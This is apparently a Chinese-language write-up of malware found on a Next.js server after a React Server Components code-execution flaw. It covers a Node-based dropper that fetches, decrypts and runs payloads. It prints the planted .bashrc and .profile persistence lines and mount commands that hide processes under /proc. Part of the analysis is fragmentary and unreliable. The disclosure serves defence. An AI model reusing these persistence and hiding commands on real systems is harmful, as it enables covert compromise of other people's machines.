
malware I found on my server
这是在发现 React 服务器端渲染代码执行漏洞之后,我从我的婚礼网站服务器上发现的恶意软件和其他可疑垃圾的转储。那是一个运行着相当普通的 Next.js 应用的简陋 Digital Ocean Droplet。
CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
一张显示各种峰值等活动的服务器日志截图:

主要的恶意程序似乎安装在 /.local/share/.r0qsv8h1 中。
在我的 bashrc 中:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
注意,那里的 pgreps 是为了阻止另一个名为 "meshagent" 的虚假恶意软件运行。你可以在 MESHAGENT.md 文档中了解相关信息。
在我的 profile 文件中也有相同的:
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
你可以在 SUSPICIOUS_SERVICES.md 中看到其他可疑服务。
以下是这个主要恶意软件的分析:
目录 bad 包含一个自包含的 Node.js 运行时,附带一组高度混淆的 JavaScript 文件。
所有证据表明,这是一个恶意投递器,它静默地联系远程服务器,下载加密的有效载荷,解密后写入磁盘,并作为分离的后台进程执行。该代码还会定期检查服务器的更新。
.5f8562 中的 Base64 有效载荷解码为:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" 引用主要的混淆加载脚本。"0" 是一个 UUID,可能用于远程服务器的追踪。"3" 是一个时间戳(Unix 纪元毫秒),指示清单生成的时间。"4" 指示目标位置(desktop),暗示有效载荷可能试图隐藏在那里。node .5f8562)时,清单指向 .fvq2lzj6te.js。setInterval 定时器定期重复下载-解密-运行序列,允许攻击者在无需用户进一步交互的情况下推送新的或更新后的有效载荷。PATH、cwd 等)运行,并可能执行典型的恶意行为,如挖矿、窃取凭证或远程命令执行。.r0qsv8h1 目录及其可能创建的任何文件(检查用户的 Desktop 和临时目录中是否有新创建的可执行文件)。此分析由 AI 助手基于对目录中存在的文件进行静态检查自动完成。未执行运行时执行。
你可以在 DEOBFUSCATE.md 中阅读更多内容。
| 文件 | 描述 |
|---|
.394ly8v9/README.md | 标准的 Node.js README – 与恶意功能无关;仅用于使捆绑包看起来合法。 |
.fvq2lzl64e.js | 约 5 KB 的混淆 JavaScript。它构建一个 JSON‑RPC HTTP 请求,接收 base64 编码的有效载荷,使用自定义密码进行解密,将有效载荷写入随机文件,并通过 child_process.spawn / execSync 执行。它还会生成一个分离的后台进程,持续轮询远程服务器。 |
.lauphhtqrg.js | 约 13 KB 的混淆 JavaScript。实现类似的下载-解密-运行循环,使用自己的 RC4 风格密码(dec)。将解密后的有效载荷写入生成的文件名并运行。设置定时器以便稍后获取新的有效载荷。 |
.5f8562 | 明文 Base64 字符串。解码为一个小的 JSON 清单: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } 该清单告诉加载器要执行哪个脚本(.fvq2lzj6te.js),并提供一个标识符/时间戳。 |
.b0rtqscrkeov | 尚未检查,但命名模式表明它是同一恶意链的另一个组件。 |
bin/node 及附带的 lib/ 文件 | 完整的 Node.js 运行时,允许脚本即使在未安装 Node.js 的系统上也能运行。 |